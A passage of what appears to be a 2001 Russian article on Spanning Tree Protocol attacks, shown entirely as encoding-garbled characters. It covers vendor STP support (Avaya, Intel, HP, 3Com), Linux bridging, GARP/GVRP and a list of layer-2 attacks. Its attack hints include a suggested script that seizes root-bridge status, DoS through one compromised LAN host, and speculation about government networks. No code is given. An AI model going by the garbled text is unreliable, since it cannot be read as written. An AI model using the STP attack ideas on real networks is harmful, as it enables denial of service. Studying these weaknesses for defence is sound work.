Âïðî÷åì, ïîääåðæêó STP â Avaya ñòîèò ðàññìîòðåòü îòäåëüíî. Íàè-
áîëåå ñëàáûå ìîäåëè (P120 è åé ïîäîáíûå) ïîääåðæèâàþò STP òîëüêî â
ðàìêàõ ñïåöèôèêàöèè 802.1d, áîëåå ¾ïðîäâèíóòûå¿ (P330 è âûøå) ïîä-
äåðæèâàþò íå òîëüêî ñïåöèôèêàöèþ STP èç 802.1d, íî è èç 802.1q è,
ñàìûå ïðîäâèíóòûå (ñåðèè P580 & P882) ïîääåðæèâàþò åùå îäíó ðåà-
ëèçàöèþ Spaning Tree, ðàçðàáîòàííóþ avaya, è èìåþùóþñÿ òîëüêî íà èõ
îáîðóäîâàíèè - ¾Spaning Tree Dual Layer¿. Ãðóáî ãîâîðÿ, ýòî STP 802.1q
+ STP 802.1d, îäíîâðåìåííî ñâÿçàííûå òàê, ÷òî STP-äåðåâüÿ, ðàáîòàþ-
ùèå ïî àëãîðèòìó 802.1d òåðìèíèðóþòñÿ íà òåõ ïîðòàõ, ê êîòîðûì ïîä-
êëþ÷åíû óñòðîéñòâà, íå ïîääåðæèâàþùèå 802.1q. Âîîáùå, ó avaya î÷åíü
áîëüøîå âíèìàíèå óäåëÿåòñÿ ïîääåðæêå ãåòåðîãåííûõ, ñ òî÷êè çðåíèÿ
íàëè÷èÿ îáîðóäîâàíèÿ ðàçíûõ ïîñòàâùèêîâè ïðîñòî âîçìîæíîñòåé òåõ
èëè èíûõ ¾æåëåçîê¿, ñåòåé, îñîáåííî â ìîäåëÿõ 580/582. Ñîáñòâåííî
Spaning Tree Dual Layer ïðåäíàçíà÷åíà èìåííî äëÿ ñëó÷àÿ, êîãäà ÷àñòü
êîììóòàòîðîâ íå ïîääåðæèâàåò STP per VLAN, à âûáðàñûâàòü èõ íå ñ
ðóêè. Spaning Tree Dual Layer îðãàíèçîâàíî òàêèì îáðàçîì, ÷òî âíóò-
ðåííîñòè P580/P882 îòñëåæèâàþò âîçìîæíûå ïðîáëåìû ñ STP, ðàáîòà-
þùåì ïî îáîèì ñòàíäàðòàì. Õîòÿ STP Dual Layer ÿâëÿåòñÿ çàêðûòûì
àëãîðèòìîì, êîòîðûé äî ñèõ ïîð (Nov 29 2001) íå îïóáëèêîâàí avaya,
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ýòî íå îñâîáîæäàåò åãî îò âñåõ ïðèíöèïèàëüíûõ óÿçâèìîñòåé, ñâîéñòâåí-
íûõ STP àëãîðèòìó. Íàîáîðîò, â ñèëó óñëîæíåíèÿ ïðîòîêîëà áåç îòõîäà
îò åãî ïðèíöèïîâ, êîëè÷åñòâî ïîòåíöèàëüíûõ óÿçâèìîñòåé ìîæåò áûòü
áîëüøå. Òàêæå âàæíî, ÷òî, íà÷èíàÿ ñ âåðñèè ÏÎ 3.2.8, ôóíêöèîíèðîâà-
íèå STP ìîæíî îòêëþ÷èòü íà ëþáîì ïîðòó. Ýòî î÷åíü óäîáíî: åñëè âàì
íåîáõîäèìî ïðåäîñòàâëÿòü ïîäêëþ÷åíèå êëèåíòó ïîâåðõ LAN, è âû óâå-
ðåíû, ÷òî STP-êîëåö îáðàçîâàòüñÿ íå ìîæåò, òî âû ìîæåòå âûêëþ÷èòü
ïîääåðæêó STP íà ãðàíèöàõ âàøåé ÷àñòè LAN è íå áîÿòñÿ êàêèõ-ëèáî
STP-àòàê èçâíå, ïî-ïðåæíåìó ïîëüçóÿñü ïðåèìóùåñòâàìè STP âíóòðè
äîâåðåííîé ñðåäû ñâîåé îðãàíèçàöèè. Â îáùåì, íå ñìîòðÿ íà òî, ÷òî, íà-
ïðèìåð, íàñòðîåê âðîäå cisco ¾bpdu guard¿ ó íèõ íåò, Avaya ïðîèçâîäèò
â ýòîì îòíîøåíèè äîâîëüíî ïðèÿòíîå âïå÷àòëåíèå.

Ïîääåðæèâàþòñÿ LAGè. ⊗

8.3 Intel
Ïîñêîëüêó, â îòëè÷èå îò cisco è avaya, ïðîäóêöèÿ äðóãèõ êîìïàíèé çíà-
êîìà àâòîðàì, â îñíîâíîì, ïî äîêóìåíòàöèè, äàëåå áóäåò èäòè ðå÷ü î
êîíêðåòíûõ ìîäåëÿõ (÷òî íå îòìåíÿåò íè îäíîãî ñëîâà, ñêàçàííîãî î
ãëîáàëüíîé óÿçâèìîñòè ïðîòîêîëà è íå äåëàåò óñòðîéñòâà äðóãèõ êîì-
ïàíèé ìåíåå óÿçâèìûìè).

Ìîäåëü 460T ïîääåðæèâàåò STP, îäíàêî íå ïîääåðæèâàåò STP-ôèëü-
òðîâ äëÿ ýìóëÿöèè îòäåëüíîãî ST-äåðåâà íà vlan, ÷òî ÿâëÿåòñÿ î÷åâèä-
íûì ìèíóñîì è óïðîùàåò STP-àòàêè, íå ãîâîðÿ óæå ïðîñòî î íåóäîáñòâàõ
äëÿ îáûäåííîé ðàáîòû àäìèíèñòðàòîðà ñåòè.

Ïîääåðæèâàþòñÿ LAGè.

8.4 HP
Ìîäåëè HP212M/214M ïðèÿòíî óäèâèëè ñâîåé ðåçèñòèâíîñòüþ ê STP
àòàêàì â êîíôèãóðàöèè ñ íàñòðîéêàìè ïî óìîë÷àíèþ - STP disabled. Íî
íà ýòîì ïðèÿòíûå ñþðïðèçû çàêîí÷èëèñü - ïî ôàêòó âêëþ÷åíèÿ STP,
êîììóòàòîð ñòàíîâèòñÿ òî÷íî òàê æå óÿçâèì, êàê è âñå îñòàëüíûå. Ê
òîìó æå îí íå ïîääåðæèâàåò VLAN. Âïðî÷åì, íèçêàÿ ñòîèìîñòü ýòèõ
ìîäåëåé ïîäðàçóìåâàåò ýòî27.

8.5 3Com
STP ïîääåðæèâàþò ìíîãèå, åñëè íå âñå, èíòåëëåêòóàëüíûå ìîäåëè.
27Åñëè ÿ íå îøèáàþñü, â ýòîé ìîäåëè HP åñòü è åùå îäíà âåñüìà ïîëåçíàÿ ôóíêöèÿ

� âîçìîæíîñòü âûêëþ÷èòü STP per port.
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Äàëåå ðå÷ü î êîììóòàòîðàõ 3Com SuperStack è èì ïîäîáíûõ. Íèæå
ïðèâîäèòñÿ âûæèìêà èç äîêóìåíòàöèè, äîñòóïíîé ïî url 5 â ðàçäåëå
20.1 íà ñòð. 74

Êîììóòàòîðh èìååò ïîëíîñòüþ ðàçäåëüíûå ñèñòåìû STP äëÿ êàæäî-
ãî ñïåöèôèöèðîâàííîãî âàìè VLAN. Êàæäûé VLAN èìååò ñâîè Root
Bridge, Root Ports è BPDU28. Ïîìèìî ýòîãî â 3COM èñïîëüçóåòñÿ ðå-
çåðâèðîâàíèå îïðåäåëåííûõ VLAN äëÿ íóæä óïðàâëåíèÿ êîììóòàòîðîì,
÷òî íàêëàäûâàåò îïðåäåëåííûå îãðàíè÷åíèÿ íà ôóíêöèîíèðîâàíèå STP
â VLAN ñ îïðåäåëåííûì íîìåðîì. Âîò ïåðåâîä îäíîãî èç àáçàöåâ â äî-
êóìåíòàöèè:

Âû íå ìîæåòå èñïîëüçîâàòü VLAN 16 ñ STP. Òàêæå, åñëè
âû èñïîëüçóåòå ðåæèì AutoSelect VLAN, âû íå ìîæåòå èñ-
ïîëüçîâàòü VLAN 15. Â ýòîì ñëó÷àå ýòè VLAN èñïîëüçóþòñÿ
äëÿ âíóòðåííèõ íóæä êîììóòàòîðà è íåäîñòóïíû.

Â ÷èñëå ïàðàìåòðîâ STP â ýòèõ ìîäåëÿõ 3COM äîñòóïíû äëÿ ïðî-
ñìîòðà ñëåäóþùèå:

Topology Changes - ïîêàçûâàåò, ñêîëüêî ðàç ïðîèñõîäèëî èçìåíåíèå
òîïîëîãèè â òåêóùåì vlan.

Max Age (6..40) - âðåìÿ (â ñåêóíäàõ), êîòîðîå êîììóòàòîð æäåò ïå-
ðåä íà÷àëîì ðåêîíôèãóðàöèè ñåòè. Åñëè îí íå ïîëó÷àåò BPDU â
òå÷åíèå ýòîãî âðåìåíè, îí ïûòàåòñÿ íà÷àòü ðåêîíôèãóðàöèþ.

Designated Root - Bridge Identifier designated Root Bridge.

Hello TIme (1..10) - èíòåðâàë (â ñåêóíäàõ) ìåæäó ïåðåäà÷àìè BPDU
êîììóòàòîðîì.

Root Cost - ñòîèìîñòü ïóòè îò ñâèò÷à äî Root Bridge.

Forward Delay (4..30) - âðåìÿ (â ñåêóíäàõ), êîòîðîå ïîðòû êîììóòà-
òîðà ïðîâîäÿò â ðåæèìàõ Listening è Learning (ñì. ïîäðàçäåë 8.5.1).

Root Port - read only - èäåíòèôèêàòîð Root Port ýòîãî êîììóòàòîðà
(êîãäà îí íå ÿâëÿåòñÿ designated root).

Hold Time - Ìèíèìàëüíî-äîïóñòèìûé âðåìåííîé èíòåðâàë (â ñåêóí-
äàõ) ìåæäó ïåðåäà÷àìè BPDU.

28Êàê ïîêàçàíî ðàíåå, ïðîèçâîäèòåëè î÷åíü ÷àñòî âûäàþò æåëàåìîå çà äåéñòâè-
òåëüíîå - ïîääåðæêà ïîëíîñòüþ îòäåëüíîãî äåðåâà STP íà êàæäîì VLAN - ìèô.
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Time Since Topology Change - read only. Âðåìÿ ñ ìîìåíòà ïîñëåäíåé
ñìåíû òîïîëîãèè.

Bridge Priority (0..65535). Ýòî ïîëå ïîçâîëÿåò óñòàíîâèòü ïðèîðèòåò
êîììóòàòîðà. Ìåíÿÿ ýòî çíà÷åíèå, âû ìåíÿåòå øàíñ êîììóòàòîðà
âûèãðàòü âûáîðû Root Bridge. Óìåíüøåíèå âåëè÷èíû óâåëè÷èâàåò
øàíñ. Çíà÷åíèå ïî óìîë÷àíèþ 65535.

Bridge Max Age (6..40). Ïîçâîëÿåò óñòàíîâèòü âðåìÿ (â ñåêóíäàõ),
êîòîðîå êîììóòàòîð æäåò, ïåðåä òåì êàê íà÷àòü ðåêîíôèãóðàöèþ,
åñëè îí ÿâëÿåòñÿ Root Bridge. Åñëè îí íå ïîëó÷èò BPDU â òå÷å-
íèå ýòîãî âðåìåíè, îí ïîïûòàåòñÿ èçìåíèòü òîïîëîãèþ STP. Ïî
óìîë÷àíèþ - 20 ñåêóíä. Ýòî âðåìÿ äîëæíî áûòü áîëüøå èëè ðàâíî
2*(Hello Time + 1) è ìåíüøå èëè ðàâíî 2*(Forward Delay - 1).

Bridge Hello Time (1..10). Ïîçâîëÿåò çàäàòü âðåìåííóþ çàäåðæêó (â
ñåêóíäàõ) ìåæäó ïåðåäà÷àìè BPDU ýòèì êîììóòàòîðîì, êîãäà îí
ÿâëÿåòñÿ Root Bridge.

Bridge Forward Delay (4..30). Ïîçâîëÿåò çàäàòü âðåìÿ (â ñåêóíäàõ),
êîòîðîå ïîðòû êîììóòàòîðà ïðîâîäÿò â ðåæèìàõ Listening è Lear-
ning, êîãäà êîììóòàòîð ÿâëÿåòñÿ Root Bridge. Ïî óìîë÷àíèþ 15
ñåêóíä (ñì. ïîäðàçäåë 8.5.1).

8.5.1 Óñòàíîâêà ïàðàìåòðîâ STP äëÿ ïîðòà
Ñîñòîÿíèÿ ïîðòîâ (read only):

Disabled - ïîðò â ýòîì ñîñòîÿíèè íå ïåðåñûëàåò ïàêåòû è íå ó÷àñòâóåò
â stp.

Listening - ïîðò â ýòîì ñîñòîÿíèè ãîòîâèòñÿ ê ïåðåñûëêå ïàêåòîâ, íî
âðåìåííî çàáëîêèðîâàí, ÷òîáû íå ñîçäàâàòü ïåòåëü. Â ýòîì ñîñòî-
ÿíèè BPDU ïåðåäàþòñÿ, ïðèíèìàþòñÿ è îáðàáàòûâàþòñÿ.

Blocking - â ýòîì ñîñòîÿíèè ïîðò íå ïåðåäàåò ïàêåòû, ÷òîáû ïðåäîò-
âðàòèòü ïîÿâëåíèå äóáëèðóþùèõ ïóòåé. Ïîðò ó÷èòûâàåòñÿ â âû-
÷èñëåíèÿõ STP, BPDU ìîãóò ïåðåäàâàòüñÿ, ïðèíèìàòüñÿ è îáðà-
áàòûâàòüñÿ.

Learning - ïîðò â ýòîì ñîñòîÿíèè ãîòîâèòñÿ ê ïåðåñûëêå ïàêåòîâ, íî
âðåìåííî çàáëîêèðîâàí, ÷òîáû íå ñîçäàâàòü ïåòåëü. Â ýòîì ðåæè-
ìå ïîðò èçó÷àåò àäðåñà âñåõ íå ñîäåðæàùèõ îøèáîê ïàêåòîâ. Ïîðò
ó÷èòûâàåòñÿ â âû÷èñëåíèÿõ STP, BPDU ìîãóò ïåðåäàâàòüñÿ, ïðè-
íèìàòüñÿ è îáðàáàòûâàòüñÿ.

Forwarding - ïîðò ïåðåäàåò ïàêåòû. BPDU òàêæå ìîãóò ïðèíèìàòüñÿ
è îáðàáàòûâàòüñÿ.
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Designated Port - read only. Ïîêàçûâàåò Bridge Identifier Designated
Bridge Port äëÿ ïîðòîâ òåêóùåãî ñåãìåíòà.

Designated Root - read only. Èäåíòèôèêàòîð Root Bridge.

Designated Cost - read only. Ñòîèìîñòü ïóòè îò Root Bridge äî Desig-
nated Bridge Port äëÿ ïîðòîâ äàííîãî ñåãìåíòà.

Designated Bridge - read only. Ïîêàçûâàåò Bridge Identifier Designated
Bridge äëÿ ïîðòîâ äàííîãî ñåãìåíòà.

Fwd Transition - read only. Ñêîëüêî ðàç ýòîò ïîðò ïåðåõîäèë èç Lear-
ning â Forwarding.

Port Enable (Enable/Disable) - ïîçâîëÿåò çàïðåòèòü èëè ðàçðåøèòü äàí-
íûé ïîðò.

Priority (0..255). Ïîçâîëÿåò çàäàòü ïðèîðèòåò ïîðòà. Èçìåíÿÿ çíà÷å-
íèå, âû èçìåíÿåòå øàíñ ýòîãî ïîðòà ñòàòü Root Port. Ìåíüøåå çíà-
÷åíèå óâåëè÷èâàåò øàíñ. Ïî óìîë÷àíèþ - 128.

Path Cost (0..65535). Ïîçâîëÿåò çàäàòü path cost äëÿ ïîðòà. Êîììó-
òàòîð àâòîìàòè÷åñêè íàçíà÷àåò çíà÷åíèÿ path cost ïî ïðèâåäåííîé
íèæå òàáëèöå. Åñëè âû çàäàåòå äðóãîå çíà÷åíèå, àâòîìàòè÷åñêîå
íàçíà÷åíèå îòêëþ÷àåòñÿ è âåðíóòü ýòî îáðàòíî ìîæíî òîëüêî ïå-
ðåèíèöèàëèçàöèåé êîììóòàòîðà.
Port type Duplex Cost
100BASE-TX/100BASE-FX (VLT) Full 5

Half 12
10BASE-T (VLT) Full 24

Half 25
100BASE-TX/100BASE-FX Full 150

Half 300
10BASE-T Full 650

Half 700

Fast Start (Enable/Disable) Ýòî ïîëå çàäàåò, ïåðåõîäèò ëè ïîðò ñðàçó
â ñîñòîÿíèå Forwarding, êîãäà ê íåìó ïðèñîåäèíÿåòñÿ óñòðîéñòâî.
Ñòàâüòå Enabled, åñëè ê ïîðòó íåïîñðåäñòâåííî ïðèñîåäèíåíà êî-
íå÷íàÿ ñòàíöèÿ. Ïî óìîë÷àíèþ - Enable.

ÂÍÈÌÀÍÈÅ! Åñëè âû ïîñòàâèòå ïîðòó Fast Start Enable, êîãäà ê
íåìó ïðèñîåäèíåíî íåñêîëüêî êîíå÷íûõ ñòàíöèé, â ñåòè ìîãóò ïîÿâèòüñÿ
ïåòëè.
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Êàê âèäíî èç ýòèõ âûæèìîê èç äîêóìåíòàöèè îáñóæäàåìàÿ ìîäåëü
3COM ïîääåðæèâàåò àíàëîã cisco ¾spanning-tree portfast¿, ÷òî âàæíî â
êîíòåêñòå ýòîé ñòàòüè.

9 Íåêîòîðûå çàìå÷àíèÿ ïî ïîâîäó Linux bridging
project

ßäðî linux èìååò ïîääåðæêó áðèäæèíãà (ñì. ðàçäåë 20.2). Íà ñàéòå
Linux bridging project åñòü óòèëèòû äëÿ óïðàâëåíèÿ ïàðàìåòðàìè áðèä-
æà. Â êà÷åñòâå îäíîãî èç âàðèàíòîâ êîíñòðóèðîâàíèÿ àòàê, îáñóæäàåìûõ
â ýòîé ñòàòüå, ìîæíî ïðîñòî ñäåëàòü ñêðèïòèê, êîòîðûé áóäåò âûçûâàòü
ýòè óòèëèòû ñ ïàðàìåòðàìè ¾ïîíèçèòü bridge id¿ (ò.å. ñòàòü designated
root) è ïåðèîäè÷åñêè ìåíÿòü ðàçëè÷íûå ïàðàìåòðû, íàïðèìåð max age
è ò.ï.

10 Íåêîòîðûå çàìå÷àíèÿ ïî ïîâîäó GARP è GVRP
GARP - Generic Attribute Registration Protocol. Ïðîòîêîë èñïîëüçó-

åìûé äëÿ ðåãèñòðàöèè íåêîòîðûõ àáñòðàêòíûõ ñâîéñòâ â ðàìêàõ ñåòè.
×åì òàê èíòåðåñåí GARP? Òåì, ÷òî STP ýòî ÷àñòíûé ñëó÷àé GARP, à
çíà÷èò ñàì ïî ñåáå GARP ñòîèò ðàññìîòðåòü íà ïðåäìåò ïîòåíöèàëü-
íûõ äûð. GVRP � Generic VLAN Registration Protocol � ïðîòîêîë ðå-
ãèñòðàöèè èíôîðìàöèè î VLAN. Ïîçâîëÿåò ðàçäåëÿòü èíôîðìàöèþ î
VLAN ìåæäó ìîñòàìè è ïðîèçâîäèòü àäìèíèñòðèðîâàíèå ðàñïðîñòðà-
íåíèÿ VLAN. ×åì òàê èíòåðåñåí GVRP? Òàêæå, êàê è STP, ÿâëÿåòñÿ
÷àñòíûì ñëó÷àåì GARP, à çíà÷èò åãî ñòîèò ïðîâåðèòü íà ïðåäìåò ïî-
òåíöèàëüíûõ äûð. Ïî êðàéíåé ìåðå ïîëíîå îòñóòñòâèå ìåõàíèçìîâ îáåñ-
ïå÷åíèÿ áåçîïàñíîñòè â STP íàâîäèò íà ìûñëü, ÷òî è ñ GARP âîîáùå è
ñ GVRP â ÷àñòíîñòè ñèòóàöèÿ áóäåò âåñüìà ïîõîæåé. =) ⊗

11 Êðàòêèé îáçîð èçâåñòíûõ àòàê íà âòîðîì óðîâ-
íå OSI, à òàêæå çàìåòêè î âîçìîæíûõ àòàêàõ
íà âòîðîì óðîâíå OSI

Â ýòîì ðàçäåëå ñäåëàíû êðàòêèå çàìåòêè î äðóãèõ âîçìîæíûõ òèïàõ
àòàê íà 2-ì óðîâíå OSI.

• jam distribution - DoS àòàêà â CSMA/CD ñåòè (íàïðèìåð ethernet).
Â ñëó÷àå, åñëè ñåòü íå èìååò êîììóòàòîðîâ, ðåçóëüòàòîì ÿâëÿåòñÿ
âûõîä èç ñòðîÿ íà âðåìÿ àòàêè âñåé ñåòè, åñëè æå åñòü êîììóòà-
òîðû - îòêàç ðàáîòû îäíîãî ñåãìåíòà ñåòè, â êîòîðîì ñòîèò àòàêó-
þùàÿ ñòàíöèÿ (â ïðåäåëàõ êîëëèçèîííîãî äîìåíà). Êñòàòè, âàæíî
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ïîíèìàòü, ÷òî íåñìîòðÿ íà òî, ÷òî VLAN'û ïðèçâàíû ðàçäåëÿòü
áðîàäêàñòíûå è êîëëèçèîííûå äîìåíû, ê MAC-based VLAN'àì ýòî
íå îòíîñèòñÿ, ïîñêîëüêó îíè îðãàíèçóþòñÿ ïîâåðõ èìåþùèõñÿ êîë-
ëèçèîííûõ äîìåíîâ.

• marker slowing - DoS àòàêà íà ñåòè, ïîñòðîåííûå íà ïðèíöèïàõ ëî-
ãè÷åñêîãî êîëüöà ñ ïåðåäà÷åé ìàðêåðà. Ðåçóëüòàòîì ÿâëÿåòñÿ, êàê
ìèíèìóì, ñíèæåíèå ïðîïóñêíîé ñïîñîáíîñòè ñåòè, çà ñ÷åò çàäåð-
æåê ïåðåäà÷è ìàðêåðà â ðàìêàõ îïðåäåëåííûõ ñòàíäàðòàìè òàéìà-
óòîâ. Âîçìîæíî åñòü øàíñ äîáèòüñÿ DoS.

• arp poisoning - èçìåíåíèå òàáëèöû ñîîòâåòñòâèÿ MAC è IP-àäðåñîâ
íà óäàëåííîì õîñòå ïóòåì ïîñûëêè åìó ïàêåòîâ arp-reply ñ ëîæ-
íûìè äàííûìè î MAC-àäðåñå, ñîîòâåòñòâóþùåì èíòåðåñóþùåìó
IP-àäðåñó. Ýòà àòàêà î÷åíü áëèçêà ê 2-ìó óðîâíþ OSI, îäíàêî åå
ñêîðåå ñòîèò ïîçèöèîíèðîâàòü êàê íàõîäÿùóþñÿ íà ñòûêå ìåæäó
2-ì è 3-ì óðîâíÿìè OSI.

• <protocol> overflow (flood) - èñïîëüçîâàíèå ïîòîêà áëîêîâ äàííûõ
àäìèíèñòðàòèâíî-èíôîðìàòèâíûõ ïðîòîêîëîâ íà ìàêñèìàëüíî äî-
ïóñêàåìûõ íîñèòåëåì ñêîðîñòÿõ. Ê òàêèì àòàêàì îòíîñèòñÿ â òîì
÷èñëå cdp-flooding. Ïðàêòè÷åñêîå îáíàðóæåíèå ïîäîáíûõ àòàê çà-
òðóäíåíî íåîáõîäèìîñòüþ ïðîâîäèòü ìàññó òåñòèðîâàíèé íà ðàáî-
òó îáîðóäîâàíèÿ ïðè íàðóøåíèè ñïåöèôèêàöèè, çàäàííîé ñòàíäàð-
òîì. Íàïðèìåð, êàê ïîâåäåò ñåáÿ êîììóòàòîð, åñëè áóäåò ïîëó÷àòü
TCN/C-BPDU â êîëè÷åñòâå âî ìíîãî ðàç ïðåâûøàþùåì ïðåäó-
ñìîòðåííóþ ñòàíäàðòîì íàãðóçêó29?

⊗

12 Óñòðîéñòâà è ïðîãðàììíîå îáåñïå÷åíèå, ïîä-
âåðæåííûå îïèñàííûì STP-àòàêàì è óñòðîé-
ñòâà, èíäèôôåðåíòíûå ê òàêèì àòàêàì.

Óñòðîéñòâà è êîìïëåêòóþùèå. Âñå óñòðîéñòâà ïîëíîñòüþ ñîâìåñ-
òèìûå ñ ñïåöèôèêàöèåé Spanning Tree ïðîòîêîëà [1] îïðåäåëåííîé â êî-
ìèòåòå ñòàíäàðòèçàöèè IEEE, èëè, äðóãèìè ñëîâàìè, ïî÷òè âñå èíòåë-
ëåêòóàëüíîå îáîðóäîâàíèå, îáñëóæèâàþùåå ëîêàëüíûå âû÷èñëèòåëüíûå
ñåòè è ÷àñòü îáîðóäîâàíèÿ, èñïîëüçóåìîãî äëÿ ñîçäàíèÿ WAN ñîåäè-
íåíèé. Ýòî âêëþ÷àåò áîëüøèíñòâî äîñòàòî÷íî èíòåëëåêòóàëüíûõ êîì-
ìóòàòîðîâ è íåêîòîðûå ìàðøðóòèçàòîðû. Íå çàòðîíóòûìè äàííûì òè-
ïîì àòàê áóäóò âñå ¾ãëóïûå¿ óñòðîéñòâà, íàïðèìåð, êîíöåíòðàòîðû, ïî-
ñêîëüêó îíè íàñòîëüêî ãëóïû, ÷òî íå ïîääåðæèâàþò ñïåöèôèêàöèþ ST

29Ïîëó÷åííóþ, íàïðèìåð, çà ñ÷åò íåñîáëþäåíèÿ ïàóç ïðè ïîñûëêå.
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â [1]. ×àñòè÷íî ñèòóàöèÿ ðåøàåòñÿ â óñòðîéñòâàõ, èìåþùèõ àíàëîãè
cisco BPDU-guard è BPDU-root-guard. Òåì íå ìåíåå, ïî óìîë÷àíèþ òà-
êèå óñòðîéñòâà òàêæå óÿçâèìû, ïîñêîëüêó ïîääåðæêà STP â íèõ òàêæå
âêëþ÷åíà ïî óìîë÷àíèþ, ðàñøèðåíèÿ STP âûêëþ÷åíû, à êðîìå òîãî
âêëþ÷åíèå èõ íèêàê íå ïîìîãëî áû ïîêóïàòåëÿì ýòèõ óñòðîéñòâ, ïî-
ñêîëüêó íàñòðîéêà çàùèòû îò STP-àòàê òðåáóåò çíàíèÿ òîïîëîãèè ñåòè,
è, ñàìîå ãëàâíîå, çàùèòèòüñÿ ìîæíî îòíþäü íå îò âñåõ ïåðå÷èñëåííûõ
àòàê.

Íåïîëíûé ñïèñîê êîìïàíèé, ïðîèçâîäÿùèõ òàê èëè èíà÷å ïîäâåðæåí-
íûå STP-àòàêàì óñòðîéñòâà âêëþ÷àåò: Cisco, Avaya(Lucent), 3Com, Intel,
HP, Cabletron Systems è òàê äàëåå - ëþáîé ïðîèçâîäèòåëü, ïðîèçâîäÿ-
ùèé èíòåëëåêòóàëüíûå óñòðîéñòâà ñ ïîääåðæêîé ñïåöèôèêàöèè [1] ìî-
æåò ¾ïîõâàñòàòüñÿ¿ ¾äûðÿâîñòüþ¿ ýòîãî îáîðóäîâàíèÿ. Îñîáåííî çàáàâ-
íî ÷èòàòü ñëîâî secure â íàçâàíèè SFPS îò Cabletron Systems â ðåêëàì-
íîì îáçîðå Ethernet Switching Bridge Media Interface Module îò 1994 ãîäà
- ýòà àááðåâèàòóðà ðàñøèôðîâûâàåòñÿ êàê ¾SecureFast Packet switching¿
- íà ïåðâîé æå ñòðàíèöå êðàñóåòñÿ ïîääåðæêà 802.1d - security íà íå-
áûâàëîé âûñîòå. :) Íåâàæíî, êòî ñäåëàë òî èëè èíîå STP-ñîâìåñòèìîå
óñòðîéñòâî - âñå îíè, ïîääåðæèâàÿ ñïåöèôèêàöèþ Spaning Tree ïðîòîêî-
ëà, ñòàíîâÿòñÿ óÿçâèìûìè, ïîñêîëüêó óÿçâèìîñòè ýòè çàëîæåíû â ñàìîì
ïðîòîêîëå.

Ïðîãðàììíîå îáåñïå÷åíèå.Ïðîåêò ðåàëèçàöèè êîììóòàòîðà íà îñ-
íîâå êîìïüþòåðà ñ OS Linux � Linux Bridge (ñì. ñåêöèþ 20.2 â ðàçäåëå
20). Êàê óòâåðæäàåòñÿ íà îñíîâíîé ñòðàíèöå ðàçðàáîò÷èêîâ - ïðîåêò
ïîëíîñòüþ ñîâìåñòèì ñ IEEE 802.1D ñïåöèôèêàöèåé STP, ïîýòîìó êîì-
ìóòàòîð, ïîñòðîåííûé ñ èñïîëüçîâàíèåì ýòîãî ÏÎ íà PC èëè ïðîìûø-
ëåííîì ÏÊ, áóäåò òàêæå ïîäâåðæåí STP-àòàêàì, êàê è ëþáîé äðóãîé
êîììóòàòîð, ñîâìåñòèìûé ñ [1]. Ïîñêîëüêó ôóíêöèè ¾BPDU-guard¿ èëè
¾spanning-tree portfast¿ íå çàÿâëåíû, òàêîé êîììóòàòîð íå èìååò íèêà-
êèõ ñðåäñòâ áîðüáû ñ STP-àòàêàìè. Ìû íàñòîÿòåëüíî ðåêîìåíäóåì ðàç-
ðàáîò÷èêàì âêëþ÷èòü ïîääåðæêó ýòèõ âîçìîæíîñòåé â todo íà áëèæàé-
øåå âðåìÿ, ïîñêîëüêó â ýòîì ñëó÷àå ïðîåêò áóäåò èìåòü õîòÿ áû êàêîå-òî
ïîäîáèå ñèñòåìû áåçîïàñíîñòè.

13 Ïðèìåðû óÿçâèìûõ ñåòåé
Ýòîò àáçàö ñòàòüè äîëæåí áûë áûòü ïîñâÿùåí èçãîòîâèòåëÿì ÷åðâåé

ïðèçâàííûõ óñòðîèòü DoS âðàãó (íàïðèìåð chineese è åãî áåññëàâíîìó
Code Red, êîòîðûé òàê è íå ñìîã ñäåëàòü DoS ñàéòó www.white-ñàìè-
çíàåòå.gov).
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Â ñëó÷àå ïðèìåíåíèÿ ìàòåðèàëîâ äàííîãî äîêóìåíòà óñòðîéñòâî DoS
ñâîäèòñÿ ê çàõâàòó êîíòðîëÿ õîòÿ áû íàä îäíèì èç êîìïüþòåðîâ â àòàêó-
åìîé ñåòè, ïîäêëþ÷åííîì ê ËÂÑ àòàêóåìîãî îáúåêòà. Ïðàâäà äîïîëíè-
òåëüíûì óñëîâèåì ñòàíîâèòñÿ èíòåëëåêòóàëüíîñòü îáîðóäîâàíèÿ, òî åñòü
ïîääåðæêà STP-ïðîòîêîëà. Îäíàêî íà ìîìåíò íàïèñàíèÿ ýòèõ ñòðîê (Ïò
Íîÿ 2 03:27:47 2001) áîëüøàÿ ÷àñòü èçâåñòíîãî íàì ñåòåâîãî îáîðóäîâà-
íèÿ, ïîääåðæèâàþùåãî STP, ïîñòàâëÿëîñü ñ âêëþ÷åííîé ïî óìîë÷àíèþ
(¾èç êîðîáêè¿) ïîääåðæêîé STP, ÷òî ðàñïðîñòðàíÿåò âîçìîæíîñòü èñ-
ïîëüçîâàòü äàííóþ àòàêó íà âñå ñåòè ñ êîíôèãóðàöèåé ïî óìîë÷àíèþ.
Åäèíñòâåííûì ïðèÿòíûì èñêëþ÷åíèåì áûëè ìîäåëè HP ProCurve 212Ì
è 224M êîìïàíèè Hewlett Packard, íî îíè íå ïîääåðæèâàëè VLANû, íå
ãîâîðÿ óæå î ðàçäåëüíûõ STP äåðåâüÿõ â íèõ.

Ñòîèò òàêæå íàïîìíèòü, ÷òî îñíîâíîå ïðèìåíåíèå Spaning Tree � çà-
ùèòà îò îáðàçîâàíèÿ êîëåö â ñåòè, íàïðèìåð, çà ñ÷åò ââåäåíèÿ çàïàñíûõ
êàíàëîâ äëÿ ïîâûøåíèÿ íàäåæíîñòè. Òàêàÿ ñòðóêòóðà ñåòè íàèáîëåå
âåðîÿòíà â êðóïíûõ ïðàâèòåëüñòâåííûõ ó÷ðåæäåíèÿõ (íàïðèìåð, ñåòü
àìåðèêàíñêèõ Áåëîãî Äîìà è Ïåíòàãîíà íàâåðíÿêà ïîñòðîåíà ñ èñïîëü-
çîâàíèåì èçáûòî÷íîñòè). Ñàìîå èíòåðåñíîå, ÷òî â ñèëó íàëè÷èÿ äóáëè-
ðóþùèõ êàíàëîâ, àäìèíèñòðàòîð â íåêîòîðûõ ñëó÷àÿõ íå ñìîæåò îòêà-
çàòüñÿ îò èñïîëüçîâàíèÿ Spaning Treå. Íàäî çàìåòèòü, ÷òî âî ìíîãèõ
èçâåñòíûõ ìíå óñòðîéñòâàõ, îáñëóæèâàþùèõ ñåòü, Spaning Tree âêëþ-
÷àëñÿ è âûêëþ÷àëñÿ äëÿ âñåãî óñòðîéñòâà, òàê ÷òî àäìèíèñòðàòîð ïðîñ-
òî íå èìååò âîçìîæíîñòè âûêëþ÷èòü ðàáîòó Spaning Tree íà îäíîì èç
